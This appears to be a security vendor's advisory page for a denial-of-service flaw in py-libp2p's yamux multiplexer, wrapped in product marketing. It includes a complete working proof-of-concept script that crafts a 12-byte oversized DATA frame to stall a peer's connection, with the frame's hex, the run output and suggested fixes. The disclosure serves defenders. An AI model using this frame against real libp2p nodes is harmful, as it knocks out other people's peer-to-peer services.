Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-73568

HIGHFix: libp2p/py-libp2p@146ea87

CVE-2026-73568 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in libp2p. O3 Security confirms whether CVE-2026-73568 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

libp2p: yamux connection DoS via oversized data frame

Published
Jul 24, 2026
Updated
Aug 13, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Aug 13, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73568.

Real-World Exposure

1 pkg affected
🐍libp2p

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default new_host() configuration and requires no special setup on either side.

Details

In libp2p/stream_muxer/yamux/yamux.py (lines 915 to 926), the handle_incoming() method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:

elif typ == TYPE_DATA:
    try:
        data = (
            await read_exactly(self.secured_conn, length)
            if length > 0
            else b""
        )

The length field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that length fits within the stream's receive window (DEFAULT_WINDOW_SIZE = 256 * 1024 bytes). The body read also happens before the code checks whether the referenced stream_id even exists in self.streams (that check is at line 954), so any stream ID triggers the issue.

handle_incoming() itself is a single sequential loop with no timeout around the body read. Once read_exactly suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.

The same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.

The yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks recvWindow per stream and returns a SendWindowExceeded error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against maxMessageSize.

PoC

The harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker's secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.

File: test_poc.py

"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct

import psutil
import trio
import multiaddr

from libp2p import new_host
from libp2p.crypto.ed25519 import create_new_key_pair
from libp2p.custom_types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream_muxer.yamux.yamux import Yamux

LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")

YAMUX_HEADER_FORMAT = "!BBHII"
TYPE_DATA = 0x0
HUGE_LENGTH = 0xFFFF_FFFF  # max uint32 — 4,294,967,295 bytes


def craft_malicious_frame(stream_id: int = 1) -> bytes:
    """
    12-byte yamux DATA frame with flags=0 and length=4 GB.
    The stream_id is irrelevant: yamux reads the body BEFORE checking
    whether the stream exists.
    """
    return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)


def _get_yamux(host, peer_id) -> Yamux | None:
    swarm = host.get_network()
    conns = swarm.connections.get(peer_id)
    if conns is None:
        return None
    conn = conns[0] if isinstance(conns, list) else conns
    mc = conn.muxed_conn
    return mc if isinstance(mc, Yamux) else None


async def attack():
    proc = psutil.Process(os.getpid())
    rss0 = proc.memory_info().rss

    v_kp = create_new_key_pair(secrets.token_bytes(32))
    a_kp = create_new_key_pair(secrets.token_bytes(32))

    # DEFAULT new_host() — noise + yamux — no explicit sec_opt or muxer_opt
    victim = new_host(key_pair=v_kp)
    attacker = new_host(key_pair=a_kp)

    victim.set_stream_handler(PING, lambda s: s.close())

    async with victim.run(listen_addrs=[LOOPBACK]):
        vaddr = victim.get_addrs()[0]
        assert "127.0.0.1" in str(vaddr), "SAFETY: non-loopback"
        print(f"[*] Victim   : {vaddr}")
        print(f"[*] Config   : DEFAULT (noise + yamux)")

        async with attacker.run(listen_addrs=[LOOPBACK]):
            await attacker.connect(PeerInfo(victim.get_id(), victim.get_addrs()))
            await trio.sleep(0.2)

            a_yamux = _get_yamux(attacker, victim.get_id())
            v_yamux = _get_yamux(victim, attacker.get_id())
            assert a_yamux and v_yamux, "yamux muxed_conn not found"
            print(
                f"[*] Muxer    : attacker={type(a_yamux).__name__}, "
                f"victim={type(v_yamux).__name__}"
            )

            # --- Pre-attack: confirm yamux is healthy ---
            pre_stream = await attacker.new_stream(victim.get_id(), [PING])
            await pre_stream.close()
            print("[*] Pre-attack ping: OK (yamux live)")

            # --- Inject malicious frame ---
            frame = craft_malicious_frame(stream_id=1)
            print(
                f"[*] Injecting {len(frame)}-byte yamux frame: "
                f"type=DATA flags=0x0 stream_id=1 length={HUGE_LENGTH:#010x} "
                f"({HUGE_LENGTH:,} bytes)"
            )
            print(f"[*] Frame hex: {frame.hex()}")

            # Write directly to the noise-encrypted secure conn.
            # secured_conn.write() encrypts before sending; victim decrypts and
            # sees the raw yamux frame bytes, which handle_incoming processes.
            await a_yamux.secured_conn.write(frame)
            await trio.sleep(0.2)
            # Victim's handle_incoming has now read the 12-byte header, dispatched
            # to `elif typ == TYPE_DATA:`, and entered read_exactly(conn, 4GB).

            # --- Post-attack: try to use yamux ---
            post_attack_succeeded = False

            with trio.move_on_after(3.0):
                try:
                    post_stream = await attacker.new_stream(victim.get_id(), [PING])
                    await post_stream.close()
                    post_attack_succeeded = True
                except Exception as e:
                    print(f"[*] Post-attack new_stream error: {type(e).__name__}: {e}")

            gc.collect()
            rss1 = proc.memory_info().rss

            print("\n=== RESULTS ===")
            print(f"Injected frame (hex) : {frame.hex()}")
            print(
                f"Body-length field    : {HUGE_LENGTH} bytes requested, 0 bytes sent"
            )
            print(f"Post-attack ping OK  : {post_attack_succeeded}")
            print(f"RSS delta            : {(rss1 - rss0) / 1024:.1f} KiB")

            yamux_stuck = not post_attack_succeeded
            print(f"\nVictim yamux loop stuck: {yamux_stuck}")

            if yamux_stuck:
                print(
                    "[CONFIRMED] handle_incoming blocked - victim yamux dead for "
                    "this connection."
                )
                print(
                    "[IMPACT   ] Single 12-byte write from any authenticated peer "
                    "(post-noise-handshake)\n"
                    "            permanently stalls yamux for that connection.\n"
                    "            Affects DEFAULT new_host() config - no mplex required.\n"
                    "            No timeout, no max-length check, no exception."
                )
            else:
                print("[NOT CONFIRMED] yamux responded post-attack.")

            assert yamux_stuck, (
                "Expected yamux to be stuck after injecting malicious DATA frame, "
                "but connection remained functional."
            )


def test_yamux_data_frame_stall():
    trio.run(attack)


if __name__ == "__main__":
    trio.run(attack)
python3 -m pytest test_poc.py::test_yamux_data_frame_stall -v

Malicious frame (12 bytes, hex): 00000000000000 01ffffffff

version  = 0x00
type     = 0x00  (DATA)
flags    = 0x0000
stream_id= 0x00000001
length   = 0xFFFFFFFF  (4,294,967,295 bytes)

Output:

[*] Config   : DEFAULT (noise + yamux)
[*] Pre-attack ping: OK (yamux live)
[*] Injecting 12-byte yamux frame: type=DATA flags=0x0 stream_id=1 length=0xffffffff
Victim yamux loop stuck: True
[CONFIRMED] handle_incoming blocked - victim yamux dead for this connection.
PASSED in ~3.8s

Impact

A single authenticated peer (one that has completed the noise handshake, which requires no credentials) can permanently freeze the yamux read loop for a given connection using 12 bytes of payload. All streams on that connection stop working. No exception is raised, no log entry is written, and no automatic recovery occurs.

This applies to the default new_host() configuration. Unlike a similar issue in the mplex muxer (which requires an explicit opt-in), every py-libp2p node using the standard setup is affected. At the default connection limit of 10,000 connections, an attacker running 10,000 peers can freeze all connections using roughly 120 KB of total traffic.

There is no confidentiality or integrity impact. The effect is limited to availability on the targeted yamux connection.

Remediation

1. Enforce the receive window on inbound DATA frames (primary fix) Before calling read_exactly, reject frames whose declared length exceeds the negotiated receive window:

# libp2p/stream_muxer/yamux/yamux.py
                                                                                                           
MAX_YAMUX_FRAME = 256 * 1024  # matches DEFAULT_WINDOW_SIZE and go-yamux default
                                                     
elif typ == TYPE_DATA:
    if length > MAX_YAMUX_FRAME:
        logger.warning(
            f"yamux: oversized DATA frame length={length} > {MAX_YAMUX_FRAME}, sending RST"
        )
        rst_header = struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, FLAG_RST, stream_id, 0)
        await self.secured_conn.write(rst_header)
        continue  # skip body read; loop processes next frame
    data = await read_exactly(self.secured_conn, length) if length > 0 else b""

The same check should be applied to the SYN branch at lines 804 to 806.

2. Add a per-frame timeout in handle_incoming()

while not self.event_shutting_down.is_set():
    try:
        with trio.fail_after(60):
            header = await read_exactly(self.secured_conn, HEADER_SIZE)
            ...
    except trio.TooSlowError:
        logger.warning("yamux: frame read timed out, closing connection")
        self.event_shutting_down.set()
        break

Option 1 eliminates the amplification entirely. Option 2 bounds the worst-case stall duration for any future oversized-read path that might be introduced.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIlibp2pall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for libp2p. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of libp2p has shipped for CVE-2026-73568 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-73568 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-73568. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default `new_host()` configuration and requires no special setup on either side. ### Details In `libp2p/stream_muxer/yamux/yamux.py` (lines 915 to 926), the `handle_incoming()` method dispatches on frame type. When a DATA frame arrives, it reads the body unc
O3 Security · Impact-Aware SCA

Is CVE-2026-73568 in your dependencies?

O3 detects CVE-2026-73568 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.